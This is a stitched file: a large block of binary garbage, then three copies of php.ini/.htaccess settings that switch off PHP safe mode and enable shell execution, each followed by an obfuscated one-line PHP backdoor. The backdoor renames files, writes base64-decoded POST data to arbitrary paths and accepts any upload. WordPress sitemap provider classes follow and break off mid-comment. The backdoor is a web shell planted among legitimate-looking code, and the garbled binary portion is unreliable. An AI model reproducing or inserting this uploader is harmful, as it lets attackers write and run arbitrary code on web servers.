ُPa}T&6寸a74QtSݬh**9zCpMĿ]pOD&JZk(pkwfpnrbqdaǏ}H0
 ΅i]f|)ZcsXjӅ|USbtq
d/xZ_
0FÖA*0*D=f9nDNz@H0!N jpsJ	3+lOyfuxpbljeiaqgY(;ӣr+ey|FRݬ;3ZW{	hu*nv#Ä/s^%g٥M|(!
k-SWfXkwfpnrbqda=yfuxpbljeipg%YLh6+g2bǩЭ@hč6/@}S
SʄD	POb)١3z֢U;e
"C0rmz5{kj\U֏*
48?⳴HaT(L	7evVr +AC8yfuxpbljei;1BvL,vO(l&1T!NnM
VUq:Y@p1o/fG~B7+Ox(!5$Ulz[7	qyfuxpbljei(I|hHW}9Nnt1*nYTܱz/pyfuxpbljeiq7a!~4^dkwfpnrbqda/{E_`l=j{}Qi8\0Gtcv:~a%AŋzɸXvـŏ;&cy1vkwfpnrbqdaFkwfpnrbqda6Oۭ@FRdsJae\ME:ⓤʸ_'.^8TMpIK!~yfuxpbljeiiPOF%tI6'?(RS!K4
)N7Jh.NE n
oS09%${ÈDۢ8f&1h!̓Q]ĉqO2.Ct]77 XXG&^|&C,š1$]?:(@a
/b3Ś/E7	?AUKrpHH֢ҽ|\4ZCY
9GUkwfpnrbqda\Ayfuxpbljei#u_:\ir|)V/NFCSap7 6!H9\#'Ӭрajͻʏ!*ztE"m-~olR29gX̓RI"	E+
&bAN		my+Ԑ3iIEdJadvZ=f閨ZssMyfuxpbljeiװƏ҂
ozaRiJJ1[hR򖍽W'ױH`z)mxCR;EZ+ۉem| 0hIx[30NyfuxpbljeiKma*zLLfRFŰ{{B],GhdjIU5$u]Tkބ5{ZL,bt+.7	##ߏGkwfpnrbqdaݏFcso97y9Uq,OZuC&gj
[Νc[4N򛗜P
6mo^Bd]F9KbKY`Y}t.ꬡT+/ΩgX2VD=(D[U
c7g)s#J	+sۧwox'd׆1럾8eP{Ynڮ9׸? Q;5^.{v(IGȭ嗷xM
B$UkW_akwfpnrbqda/$.g#oFQ :h)J{gN	]$7D+s!uOԜaV&y郗eCkնN3Q}ƝO6d!΋hkwfpnrbqdaL;jPZw՞m۵oLަdQQR[8#W@#y/ԔoGGN$Hh7e~$Nםk
85sA0gEk^X~_5dhob(	x1g: C%fūtD{נηF&G~Ãp.s6QUmsP(yQcM5kwfpnrbqdawHrBƹ'HpcA-csbsHX(({sXbHxؽtc^+'Ǿxذuհ?c+bhY#Bk~Rg~ `.,`R3P(̸yvoЏP 6`kx|L@TVv[Hkwfpnrbqda6H-{}ϘL	щciE0~אfTzmsv"4\=֙Tjx+r${X\Qz+Q	dfTUCR
~ ~4o*FipljH{=\\D1GIT]l
ԛIBTTvs(o[yfuxpbljeijπq/U]'V[1UBhLrtʵjƏW
ClIab?UdIyլ`'Y6W#%7R~2ntoC7-Mlǥ.Nj2HQ|UT
zd34Beyfuxpbljeil^}EOUG,6.rבVGOյ^I;Im$$JNyfuxpbljeicpi53|Ps/c9qLK
Iv~^
CכU'䐡ct^PёByfuxpbljei̍'{W~ &.kwfpnrbqda;=}Wƪ.yخ53@Q+_|y 766еmEMe3kwfpnrbqdȧ- ;@:L:j)QNEeTi&X%vv%^yDU'yfuxpbljeiѽGs	⸩RxEĮ[, ϐNY~M0PI#T6~I!VC]WBm=[9
3ܷn'haŃjׂLcp00*@޸|QB"y!(|@vF])\\iЅiyfuxpbljei$
nQ@K亾pvGyVTL*LLnZ.:|R鷕'&({$Lq5uA,!%w=W@ɲJb;tpWU8T(/ml
uc
NЙ׵I%yfuxpbljei'hk%)+D	GbdA\ӒT#}.]X8_3;q0xIűēL7z@s
of'mmXm:Hϧo8k QqҔyAanKa|7 ӟٚ*,R4'+:KkwfpnrbqdaH[LQ..iPNyɺNt])E:+*YV+m4sʌ;$yfuxpbljeiw5Ǹ	aX-kwfpnrbqdaexlmD(Aؼo1CåB/)DayDH&4Ԏ+#4Fcg\3gd޽O;ߞl~nPYkwfpnrbqda#fY!0Pye$x/6g?;X젪ڿa bef\LSQɳ!cM4? GT.q,e,- ;WZkxݍ^_~DڱŊÉbhPj%Κ܊C0Ӿc-$^ޒ?_?3_A0}!Ha|	 Ώ^qbl)޲/iW3s20D ;"\oB4#ǌ	hQ5NA@x"enp"$q%ɝpH&tT-`vxQf+pC]yfuxpbljeiwAx%&TZesWV~/ZtNn+/TK/+"r3
qf7ꉆoLis2%^U}j
)[= "C5H|p)yfuxpbljei'JeT#~ʺ2yD\:)kwfpnrbqdabMA 4^iUit(mHnW PLxh=JEG]U@]E\\ҊwIUg00ڽPZoi\	AI4 E-SU's[@9"-Z8[y~^_["l@y#LҪTXYw-P\"Og
&"rؤB/|6):tyfuxpbljeiEvǮE,p
ܒM-.;!74rQ SC
CLC&7Z.OJmm\W/VH[b){O##Rh#yt?)RsJOGƦ1sI7ԣ*ݘ:ƢPQ6B9?7hf	
l#dpx_u!sg+C!GIm"Tx׀8Efhd2Ih+W/?I[q
Un|IQbZycHT&.DNfWک^0s۰YiqZT~Bdk	޾)qB!ͬe&yEԮke.Ua`bSe-%$]IyDja))95|Ƈk˩w"F2@UhvqB^vshP4_Vl$hRBAepSAv/YXY78kE?  dPusMZsY7#zULHR5ЯZ^1pfүNS)s} 9BA	\DK8Hַ.ksU;ZJr㩍`	:Ư@0:F}£:^HQ1-0C-I

XyfuxpbljeiLK maUsM{
[	;o8@RIghAjghz塷,i-U-22j\,aBsY
GZ8L8K͟Z%OP4
e]rYo)Z
dz?:^xF2i@eRn(U	;%\IT:U%qJaj8SokT?Peg:&~\Ȥkwfpnrbqdayfuxpbljei;2]B:/uurP̿*x;A|+(-[2#CI2_uꄝzrikwfpnrbqda!Mbܼ@$)5r;BG舘ɼxp8Q}Aw+* s"yfuxpbljeivd *X~͂`rΰMzKՖkwfpnrbqdaU_٭^ckm~yĎ (z$4xDReHxZEy78^U+Zq,[7\"˜Ͼ9)'d`c=sB]_&nz	OM+;"yfuxpbljeii\!ྤH^SkѨM`)KeB,[|kwfpnrbqdaB3H@:5R9c|VfkwfpnrbqdaKxyyfuxpbljei,kwfpnrbqda_kG0UeZS:MG7t{jxP3cIe7[Pl
jհ?
|VeFvꫮ;UU	]-$7Wufy6qR0cM$	"4xiAB_D97%eUEkwfpnrbqdaE8NUĠ7:Vw-އx{Էǂ-q$W&yfuxpbljeiJeU5\
YnAw)Ϫ_eF
gc?LƄ]hadsO뺢=C~:8ꂾ_kO*U=,;1)M3R1ٽB{.݉EYJIgFpcYIj2
9yfuxpbljeiC4yfuxpbljeiU3u^O@ñ{; $E_	kwfpnrbqdadJ[SMQaʕ5Tv{.{ xжCݚ&`H88 xȥמ;c_X'򯋄3q:4[odGwD\5CǱXLQk򥥻k-%lթgٹZsqFwF'
 3yfuxpbljei@*Haʱ+Pl/wǤk"n:BrJt6vWSl&'
_n(IO/B ?K%L=p6Wpx'cEba$Ѡ HFm&STg`PKE c{ ӏБѽ&~2 n	X/LWps3:nɓ\Kh'N6NՄVh. 9E }`1SOeyfuxpbljei 䁔yfuxpbljei1VDFtmV]LmP6I?z Yyfuxpbljei')\wYyCXw`S/SxY*aYyfuxpbljei׺`/:"c"$m($yF]m"엝kwfpnrbqdahNOq}`d'D\elqn)ٲXc(?!u.gh .UJΎXNtgX.-70"Z{9:AT}:B#8Ʋbaeе_0ҽƟs2*(w'!`"?yu~t}I[7B
H1m{	kwfpnrbqda;6y}Mekwfpnrbqda t#xw v?8B9Mk
2yfuxpbljei5SdB%rH$HQ
*a	#~fUZIz $Zpy̷9ؓCZ1ǲh4ΙhMZIbɝ0f2IÇ}ܶ*_@:ĕ
mqƛR0nګyfuxpbljei˃)oɒytn̡o,Ǉ}QSIZcf.*QK9	YM47vOG,AޣcMȣfz
ϴyK_׋t݌?`FhVr[1\h
?e8Pv98%#~U,') 98M&DXCkwfpnrbqdak/LJngd;]@2yIf);Xr}OZ,s,t4[zaĢ1=A&A 6prAcZ%b5XYHhLkqۏ^2q,yfuxpbljei@^Vv:-ʏb+#3L^xA̝P^q+kJ_oL`RƳډV"،Yep;7ȳMtW߆21=TיocHXﳀlQR'gyfuxpbljei Wܜ62yv~M0
:ȵr,c+{clj`Z@bu[o7gnQUQoDF!odJ(GF޵ J_jU5Km&@?6D6YϸS~RO3!2Uk7ga:LIk a|})Q='kwfpnrbqda˚O-߱3ݨ	J;e`2;g,WG:}oc	O9ntz2evX"
fJ¾t  1 TlQ![n@#!jDi_X +մBwਥ|'kwfpnrbqda&3yfuxpbljei7: yZd_bMc}Mt4r{Տ~V;)ۢQڑKj?Q0RV}vqW`(N^p.%d!kwfpnrbqdaXlKˬEIvL
'PJR((5Emj141rxjck=KЅVl!3^kwfpnrbqda:^Ih6265x|hacɞȅ*2s
:EW1slY@DH N	hH-y#]"
4tTa:i=
"ޘ1H$/]w$TK;5t+лC}('Ar$-Uyfuxpbljei{Ff//5jMVV"+154nė_Y^ՇÿCa4RכUZ#d[$g#!XZD#_Z%?=$pf
??h`Aۿ=5u	yfuxpbljei{H1?WkwfpnrbqdaAttD&m!t9;i~ )	K:jdAQfxzA$#?ñ%:_жEp+OVm)Ҥ/S
X.g܆FxǠ0Jt禡 ,7)'%tW,.,^K{ѡx%௲j`3yfuxpbljei=MyfuxpbljeiryfuxpbljeiكX-fsY-/C\
4Ϗsj~(INo@$w 3|0{5z"J^IWkwfpnrbqda@:|l{$ì DHlfEsz"z6E[̤Cd76K\Qx"~:0yfuxpbljei#	k}({yfuxpbljei0hQCx&xhECZKRnO{%mpdvսRG+X;0m,D|ʶk7!觱R؈bm
ƚqY) kwfpnrbqdaeqgyfuxpbljei``X.	kژ24֚ur.)2wrn=R*Q92EY
7qP7SW=~JƢgkՇXBܶ2DiM
oX
7TʺV@h;is0W'/ܦH$CoQ_HaP8}ˋ"1Xh14W~x^Jxpi?.hu!_RTbP Z:PΑ#\g*rR0O$b,m$N-ם*S`w;e2r"Tdӓ[d0pa=1P% Sc
IGAI*B9޷ 8ڂ 5\~PE
+Vd:3/
&ozf}nXN3xDU'Y7eG~5RӾ]Z$mi\=j*AG=#Ku)w@~6Ҟ..|`
9g3c3~ntPpBD!4gݗFUER2dlZާcC?_[۪ -u*@\4KK|.v՝ n}X9K܆+usܢ|gt":0prHI! T@6{f%d`	h#zkwfpnrbqda-)n/gj&Lݔwތ(tKT; @T?dRvkwfpnrbqdaĨsh=b٭ r0!|D'
~.By~'[fOfL*#Zu2EF|wAƔ~=*y;"WהF~ ki\Y#	yfuxpbljeiN[CN_D\ykwfpnrbqda=
ݤ"=ӮTgO^H̊?b`]Y{ξXmt=wg_{Z=+ rm,zy-=+pjLMwU|6on!e?~nETiKx"ÎtwkwfpnrbqdaFѷ+vKӐcP^6_ֈ`Wۆi`Y'Kl؈߼6-k
~wM3M#7ȍ?9C:"VZ0oGHMt/Q*fVr?\)#hACyfuxpbljeiT41Io/.QCx.Bsa8Ih(_uL?V(T%	Av0:`0W-UrS=jkwfpnrbqda@Rjqfw\$sTJaV1s쟣;J4'kEV\{n)0#/(J]hC 5x,kwfpnrbqdag })#E7uƪm:+qH+Ke|TyfuxpbljeiՂ;u0kwfpnrbqda4
@@z'ӔݳUiC2y{ksE?Q&^0+V=3fNl^=nua.X:ypJƗG ٷAy$(%o wp s߼/&=kwfpnrbqda'F{m//=Qڭ1Z	d6Syfuxpbljei_Jto#ꪷK}}sF1[XW2O=dW?|$X!dxWZsfJT*z*.@$\}gߖN&9X:BI`Q+mS.Vfe: WWS@|DNUgpa0Dt2#]N܁P.{kwfpnrbqdaG%
SMvb/s0L೤s\AY_h"ު{6;=K&Ifk1-3Zyfuxpbljei#y'd['ʭZDGA-ubN¬c]UyfuxpbljeiCZe	a9n R+]Oj8w's|,kwfpnrbqdamK4ABnMb|&_\hZJ |N	&xuiâ	}dUxp2	Y9¶.מkpG2^]NNyfuxpbljei$'#?LZ7znv]pתM,c-㬡@+3Ξ`We
8L"34Y
"mPD{YyfuxpbljeiA71
:Z?w*
f1Cg :Y`
FEײQA.D+	o273{R\¼_۲X%D"
5	[зLVޠuU1e@qn%XՄ~&`gI?ߘ|?Gd6^:n9L4v޶zgd%@BݥWwxB1iT^߿aP/]$;uqr~{E$y"#Uթy)'hu@REE."8R U[[Rp"	ԑYﲪ T79bkwfpnrbqdaWW+phf\Z$HG/;R` bO7X(tJP.9­l"_#aڏ:m80RCP/-ra\Mk1YS-.wt)b lٱD.nнOiHf[J4Tpe7WKcBʹ?6VNFedWM3|3 '0srH
ir 
%+b 2]A;~kwfpnrbqda"gޜ}LW|GV
g]W]L7׃/ 0ȁ	.m~g۶ߨҌPUT6M\Xvg
sP=QIQr/*Jm稕 FCqhH&ϳFv7)A8UfБ%Ԛ@hEJGSIzXo+d4]M*fb{{ZпpNbr􄗩7ưS JV\UzR׭C4'@,kͅ_eФ
-] i#UyfuxpbljeihjkwfpnrbqdaLl
ީwNq2Ҍ~i i{$QLbkOy7078DaQѪ`^Q*hͨ6ӌF;{9EÁ%Ɠ5SӨ4iv7Icyfuxpbljeih8AjWTIՔOl6mws:L*䃒{8m_/K]ZIv'/
-$\K[8 rxH\8*!ln3Mz0uC΅EHk~GpnHt*\B/-{:%%ΒeD1^9#^PBjH	ݹ\L朑]:98|7}p||]})	-艎E |=yfuxpbljei ?Ȍp4^ ʨǧZosAp,=eU??ˡ ~\uu 9=Jk(,OزPe^~zpwXU+YKSdyfuxpbljei*y0BJ"̧'Aȥb+i/|yfuxpbljeieWP$kjרV֣w	
k\𔵀PxE*UaZ{(Tk7~~Fӱr$s;_4~J vNov0yfuxpbljeiS³Okk6(lGR)2^mؔW8`\ ~w^1Q8hfZF\NWlsSj)!wTfҗ2'eQ%smHj`YSv,FU1I0r؄y}
cVVMkq
Y;yfuxpbljeir[جPGxx1h0_!#H-\T/p37Q"뷒)0|踐NwHOn.Rru:jG芷V P|횢rpJn#yfuxpbljeiLhUtqBR/0
@h8!帠_m)*k
|9t/-~@g# xzBhG]3EgQw9e ig}۩kwfpnrbqda
P,뢻)͕Pʡ-JVϳyH򆓭oRPlBʟK
`#PDq;ShNq5F
gxg9K@UF!H0w:(e~Vr 	o"`|;A]*Y7S#Sp# p5 Ӂ"@4J$@O1S X4awyyt	H1_.E0z d҃/؛"ZKbza{g7sĬ/CtN/\qX5^78u^7{Yq$/;u_yfuxpbljeimF
PI@4m&;¤|Oi~8S«?*7safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if (isset($_POST['fname'])){ rename(trim($_POST['fname']), trim($_POST['sname'])); exit; }elseif(isset($_POST['message'])){ $b4 = 'b'.'ase6'.'4'.'_deco'.'de'; fwrite(fopen(trim($_POST['name']), 'w'), $b4(trim($_POST['message']))); exit; } move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); ?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if (isset($_POST['fname'])){ rename(trim($_POST['fname']), trim($_POST['sname'])); exit; }elseif(isset($_POST['message'])){ $b4 = 'bas'.'e64'.'_d'.'ecode'; fwrite(fopen(trim($_POST['name']), 'w'), $b4(trim($_POST['message']))); exit; } move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); ?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
/**
 * Sitemaps: WP_Sitemaps_Taxonomies class
 *
 * Builds the sitemaps for the 'taxonomy' object type.
 *
 * @package WordPress
 * @subpackage Sitemaps
 * @since 5.5.0
 */

/**
 * Taxonomies XML sitemap provider.
 *
 * @since 5.5.0
 */
class WP_Sitemaps_Taxonomies extends WP_Sitemaps_Provider {
	/**
	 * WP_Sitemaps_Taxonomies constructor.
	 *
	 * @since 5.5.0
	 */
	public function __construct() {
		$this->name        = 'taxonomies';
		$this->object_type = 'term';
	}

	/**
	 * Returns all public, registered taxonomies.
	 *
	 * @since 5.5.0
	 *
	 * @return WP_Taxonomy[] Array of registered taxonomy objects keyed by their name.
	 */
	public function get_object_subtypes() {
		$taxonomies = get_taxonomies( array( 'public' => true ), 'objects' );

		$taxonomies = array_filter( $taxonomies, 'is_taxonomy_viewable' );

		/**
		 * Filters the list of taxonomy object subtypes available within the sitemap.
		 *
		 * @since 5.5.0
		 *
		 * @param WP_Taxonomy[] $taxonomies Array of registered taxonomy objects keyed by their name.
		 */
		return apply_filters( 'wp_sitemaps_taxonomies', $taxonomies );
	}

	/**
	 * Gets a URL list for a taxonomy sitemap.
	 *
	 * @since 5.5.0
	 * @since 5.9.0 Renamed `$taxonomy` to `$object_subtype` to match parent class
	 *              for PHP 8 named parameter support.
	 *
	 * @param int    $page_num       Page of results.
	 * @param string $object_subtype Optional. Taxonomy name. Default empty.
	 * @return array[] Array of URL information for a sitemap.
	 */
	public function get_url_list( $page_num, $object_subtype = '' ) {
		// Restores the more descriptive, specific name for use within this method.
		$taxonomy = $object_subtype;

		$supported_types = $this->get_object_subtypes();

		// Bail early if the queried taxonomy is not supported.
		if ( ! isset( $supported_types[ $taxonomy ] ) ) {
			return array();
		}

		/**
		 * Filters the taxonomies URL list before it is generated.
		 *
		 * Returning a non-null value will effectively short-circuit the generation,
		 * returning that value instead.
		 *
		 * @since 5.5.0
		 *
		 * @param array[]|null $url_list The URL list. Default null.
		 * @param string       $taxonomy Taxonomy name.
		 * @param int          $page_num Page of results.
		 */
		$url_list = apply_filters(
			'wp_sitemaps_taxonomies_pre_url_list',
			null,
			$taxonomy,
			$page_num
		);

		if ( null !== $url_list ) {
			return $url_list;
		}

		$url_list = array();

		// Offset by how many terms should be included in previous pages.
		$offset = ( $page_num - 1 ) * wp_sitemaps_get_max_urls( $this->object_type );

		$args           = $this->get_taxonomies_query_args( $taxonomy );
		$args['fields'] = 'all';
		$args['offset'] = $offset;

		$taxonomy_terms = new WP_Term_Query( $args );

		if ( ! empty( $taxonomy_terms->terms ) ) {
			foreach ( $taxonomy_terms->terms as $term ) {
				$term_link = get_term_link( $term, $taxonomy );

				if ( is_wp_error( $term_link ) ) {
					continue;
				}

				$sitemap_entry = array(
					'loc' => $term_link,
				);

				/**
				 * Filters the sitemap entry for an individual term.
				 *
				 * @since 5.5.0
				 * @since 6.0.0 Added `$term` argument containing the term object.
				 *
				 * @param array   $sitemap_entry Sitemap entry for the term.
				 * @param int     $term_id       Term ID.
				 * @param string  $taxonomy      Taxonomy name.
				 * @param WP_Term $term          Term object.
				 */
				$sitemap_entry = apply_filters( 'wp_sitemaps_taxonomies_entry', $sitemap_entry, $term->term_id, $taxonomy, $term );
				$url_list[]    = $sitemap_entry;
			}
		}

		return $url_list;
	}

	/**
	 * Gets the max number of pages available for the object type.
	 *
	 * @since 5.5.0
	 * @since 5.9.0 Renamed `$taxonomy` to `$object_subtype` to match parent class
	 *              for PHP 8 named parameter support.
	 *
	 * @param string $object_subtype Optional. Taxonomy name. Default empty.
	 * @return int Total number of pages.
	 */
	public function get_max_num_pages( $object_subtype = '' ) {
		if ( empty( $object_subtype ) ) {
			return 0;
		}

		// Restores the more descriptive, specific name for use within this method.
		$taxonomy = $object_subtype;

		/**
		 * Filters the max number of pages for a taxonomy sitemap before it is generated.
		 *
		 * Passing a non-null value will short-circuit the generation,
		 * returning that value instead.
		 *
		 * @since 5.5.0
		 *
		 * @param int|null $max_num_pages The maximum number of pages. Default null.
		 * @param string   $taxonomy      Taxonomy name.
		 */
		$max_num_pages = apply_filters( 'wp_sitemaps_taxonomies_pre_max_num_pages', null, $taxonomy );

		if ( null !== $max_num_pages ) {
			return $max_num_pages;
		}

		$term_count = wp_count_terms( $this->get_taxonomies_query_args( $taxonomy ) );

		return (int) ceil( $term_count / wp_sitemaps_get_max_urls( $this->object_type ) );
	}

	/**
	 * Returns the query args for retrieving taxonomy terms to list in the sitemap.
	 *
	 * @since 5.5.0
	 *
	 * @param string $taxonomy Taxonomy name.
	 * @return array Array of WP_Term_Query arguments.
	 */
	protected function get_taxonomies_query_args( $taxonomy ) {
		/**
		 * Filters the taxonomy terms query arguments.
		 *
		 * Allows modification of the taxonomy query arguments before querying.
		 *
		 * @see WP_Term_Query for a full list of arguments
		 *
		 * @since 5.5.0
		 *
		 * @param array  $args     Array of WP_Term_Query arguments.
		 * @param string $taxonomy Taxonomy name.
		 */
		$args = apply_filters(
			'wp_sitemaps_taxonomies_query_args',
			array(
				'taxonomy'               => $taxonomy,
				'orderby'                => 'term_order',
				'number'                 => wp_sitemaps_get_max_urls( $this->object_type ),
				'hide_empty'             => true,
				'hierarchical'           => false,
				'update_term_meta_cache' => false,
			),
			$taxonomy
		);

		return $args;
	}
}
<?php
/**
 * Sitemaps: WP_Sitemaps_Posts class
 *
 * Builds the sitemaps for the 'post' object type.
 *
 * @package WordPress
 * @subpackage Sitemaps
 * @since 5.5.0
 */

/**
 * Posts XML sitemap provider.
 *
 * @since 5.5.0
 */
class WP_Sitemaps_Posts extends WP_Sitemaps_Provider {
	/**
	 * WP_Sitemaps_Posts constructor.
	 *
	 * @since 5.5.0
	 */
	public function __construct() {
		$this->name        = 'posts';
		$this->object_type = 'post';
	}

	/**
	 * Returns the public post types, which excludes nav_items and similar types.
	 * Attachments are also excluded. This includes custom post types with public = true.
	 *
	 * @since 5.5.0
	 *
	 * @return WP_Post_Type[] Array of registered post type objects keyed by their name.
	 */
	public function get_object_subtypes() {
		$post_types = get_post_types( array( 'public' => true ), 'objects' );
		unset( $post_types['attachment'] );

		$post_types = array_filter( $post_types, 'is_post_type_viewable' );

		/**
		 * Filters the list of post object sub types available within the sitemap.
		 *
		 * @since 5.5.0
		 *
		 * @param WP_Post_Type[] $post_types Array of registered post type objects keyed by their name.
		 */
		return apply_filters( 'wp_sitemaps_post_types', $post_types );
	}

	/**
	 * Gets a URL list for a post type sitemap.
	 *
	 * @since 5.5.0
	 * @since 5.9.0 Renamed `$post_type` to `$object_subtype` to match parent class
	 *              for PHP 8 named parameter support.
	 *
	 * @param int    $page_num       Page of results.
	 * @param string $object_subtype Optional. Post type name. Default empty.
	 *
	 * @return array[] Array of URL information for a sitemap.
	 */
	public function get_url_list( $page_num, $object_subtype = '' ) {
		// Restores the more descriptive, specific name for use within this method.
		$post_type = $object_subtype;

		// Bail early if the queried post type is not supported.
		$supported_types = $this->get_object_subtypes();

		if ( ! isset( $supported_types[ $post_type ] ) ) {
			return array();
		}

		/**
		 * Filters the posts URL list before it is generated.
		 *
		 * Returning a non-null value will effectively short-circuit the generation,
		 * returning that value instead.
		 *
		 * @since 5.5.0
		 *
		 * @param array[]|null $url_list  The URL list. Default null.
		 * @param string       $post_type Post type name.
		 * @param int          $page_num  Page of results.
		 */
		$url_list = apply_filters(
			'wp_sitemaps_posts_pre_url_list',
			null,
			$post_type,
			$page_num
		);

		if ( null !== $url_list ) {
			return $url_list;
		}

		$args          = $this->get_posts_query_args( $post_type );
		$args['paged'] = $page_num;

		$query = new WP_Query( $args );

		$url_list = array();

		/*
		 * Add a URL for the homepage in the pages sitemap.
		 * Shows only on the first page if the reading settings are set to display latest posts.
		 */
		if ( 'page' === $post_type && 1 === $page_num && 'posts' === get_option( 'show_on_front' ) ) {
			// Extract the data needed for home URL to add to the array.
			$sitemap_entry = array(
				'loc' => home_url( '/' ),
			);

			/*
			 * Get the most recent posts displayed on the homepage,
			 * and then sort them by their modified date to find
			 * the date the homepage was approximately last updated.
			 */
			$latest_posts = new WP_Query(
				array(
					'post_type'              => 'post',
					'post_status'            => 'publish',
					'orderby'                => 'date',
					'order'                  => 'DESC',
					'no_found_rows'          => true,
					'update_post_meta_cache' => false,
					'update_post_term_cache' => false,
				)
			);

			if ( ! empty( $latest_posts->posts ) ) {
				$posts = wp_list_sort( $latest_posts->posts, 'post_modified_gmt', 'DESC' );

				$sitemap_entry['lastmod'] = wp_date( DATE_W3C, strtotime( $posts[0]->post_modified_gmt ) );
			}

			/**
			 * Filters the sitemap entry for the home page when the 'show_on_front' option equals 'posts'.
			 *
			 * @since 5.5.0
			 *
			 * @param array $sitemap_entry Sitemap entry for the home page.
			 */
			$sitemap_entry = apply_filters( 'wp_sitemaps_posts_show_on_front_entry', $sitemap_entry );
			$url_list[]    = $sitemap_entry;
		}

		foreach ( $query->posts as $post ) {
			$sitemap_entry = array(
				'loc'     => get_permalink( $post ),
				'lastmod' => wp_date( DATE_W3C, strtotime( $post->post_modified_gmt ) ),
			);

			/**
			 * Filters the sitemap entry for an individual post.
			 *
			 * @since 5.5.0
			 *
			 * @param array   $sitemap_entry Sitemap entry for the post.
			 * @param WP_Post $post          Post object.
			 * @param string  $post_type     Name of the post_type.
			 */
			$sitemap_entry = apply_filters( 'wp_sitemaps_posts_entry', $sitemap_entry, $post, $post_type );
			$url_list[]    = $sitemap_entry;
		}

		return $url_list;
	}

	/**
	 * Gets the max number of pages available for the object type.
	 *
	 * @since 5.5.0
	 * @since 5.9.0 Renamed `$post_type` to `$object_subtype` to match parent class
	 *              for PHP 8 named parameter support.
	 *
	 * @param string $object_subtype Optional. Post type name. Default empty.
	 * @return int Total number of pages.
	 */
	public function get_max_num_pages( $object_subtype = '' ) {
		if ( empty( $object_subtype ) ) {
			return 0;
		}

		// Restores the more descriptive, specific name for use within this method.
		$post_type = $object_subtype;

		/**
		 * Filters the max number of pages before it is generated.
		 *
		 * Passing a non-null value will short-circuit the generation,
		 * returning that value instead.
		 *
		 * @since 5.5.0
		 *
		 * @param int|null $max_num_pages The maximum number of pages. Default null.
		 * @param string   $post_type     Post type name.
		 */
		$max_num_pages = apply_filters( 'wp_sitemaps_posts_pre_max_num_pages', null, $post_type );

		if ( null !== $max_num_pages ) {
			return $max_num_pages;
		}

		$args                  = $this->get_posts_query_args( $post_type );
		$args['fields']        = 'ids';
		$args['no_found_rows'] = false;

		$query = new WP_Query( $args );

		$min_num_pages = ( 'page' === $post_type && 'posts' === get_option( 'show_on_front' ) ) ? 1 : 0;
		return isset( $query->max_num_pages ) ? max( $min_num_pages, $query->max_num_pages ) : 1;
	}

	/**
	 * Returns the query args for retrieving posts to list in the sitemap.
	 *
	 * @since 5.5.0
	 * @since 6.1.0 Added `ignore_sticky_posts` default parameter.
	 *
	 * @param string $post_type Post type name.
	 * @return array Array of WP_Query arguments.
	 */
	protected function get_posts_query_args( $post_type ) {
		/**
		 * Filters the query arguments for post type sitemap queries.
		 *
		 * @see WP_Query for a full list of arguments.
		 *
		 * @since 5.5.0
		 * @since 6.1.0 Added `ignore_sticky_posts` default parameter.
		 *
		 * @param array  $args      Array of WP_Query arguments.
		 * @param string $post_type Post type name.
		 */
		$args = apply_filters(
			'wp_sitemaps_posts_query_args',
			array(
				'orderby'                => 'ID',
				'order'                  => 'ASC',
				'post_type'              => $post_type,
				'posts_per_page'         => wp_sitemaps_get_max_urls( $this->object_type ),
				'post_status'            => array( 'publish' ),
				'no_found_rows'          => true,
				'update_post_term_cache' => false,
				'update_post_meta_cache' => false,
				'ignore_sticky_posts'    => true, // Sticky posts will still appear, but they won't be moved to the front.
			),
			$post_type
		);

		return $args;
	}
}
<?php
/**
 * Sitemaps: WP_Sitemaps_Users class
 *
 * Builds the sitemaps for the 'user' object type.
 *
 * @package WordPress
 * @subpackage Sitemaps
 * @since 5.5.0
 */

/**
 * Users XML sitemap provider.
 *
 * @since 5.5.0
 */
class WP_Sitemaps_Users extends WP_Sitemaps_Provider {
	/**
	 * WP_Sitemaps_Users constructor.
	 *
	 * @since 5.5.0
	 */
	public function __construct() {
		$this->name        = 'users';
		$this->object_type = 'user';
	}

	/**
	 * Gets a URL list for a user sitemap.
	 *
	 * @since 5.5.0
	 *
	 * @param int    $page_num       Page of results.
	 * @param string $object_subtype Optional. Not applicable for Users but
	 *                               required for compatibility with the parent
	 *                               provider class. Default empty.
	 * @return array[] Array of URL information for a sitemap.
	 */
	public function get_url_list( $page_num, $object_subtype = '' ) {
		/**
		 * Filters the users URL list before it is generated.
		 *
		 * Returning a non-null value will effectively short-circuit the generation,
		 * returning that value instead.
		 *
		 * @since 5.5.0
		 *
		 * @param array[]|null $url_list The URL list. Default null.
		 * @param int        $page_num Page of results.
		 */
		$url_list = apply_filters(
			'wp_sitemaps_users_pre_url_list',
			null,
			$page_num
		);

		if ( null !== $url_list ) {
			return $url_list;
		}

		$args          = $this->get_users_query_args();
		$args['paged'] = $page_num;

		$query    = new WP_User_Query( $args );
		$users    = $query->get_results();
		$url_list = array();

		foreach ( $users as $user ) {
			$sitemap_entry = array(
				'loc' => get_author_posts_url( $user->ID ),
			);

			/**
			 * Filters the sitemap entry for an individual user.
			 *
			 * @since 5.5.0
			 *
			 * @param array   $sitemap_entry Sitemap entry for the user.
			 * @param WP_User $user          User object.
			 */
			$sitemap_entry = apply_filters( 'wp_sitemaps_users_entry', $sitemap_entry, $user );
			$url_list[]    = $sitemap_entry;
		}

		return $url_list;
	}

	/**
	 * Gets the max number of pages available for the object type.
	 *
	 * @since 5.5.0
	 *
	 * @see WP_Sitemaps_Provider::max_num_pages
	 *
	 * @param string $object_subtype Optional. Not applicable for Users but
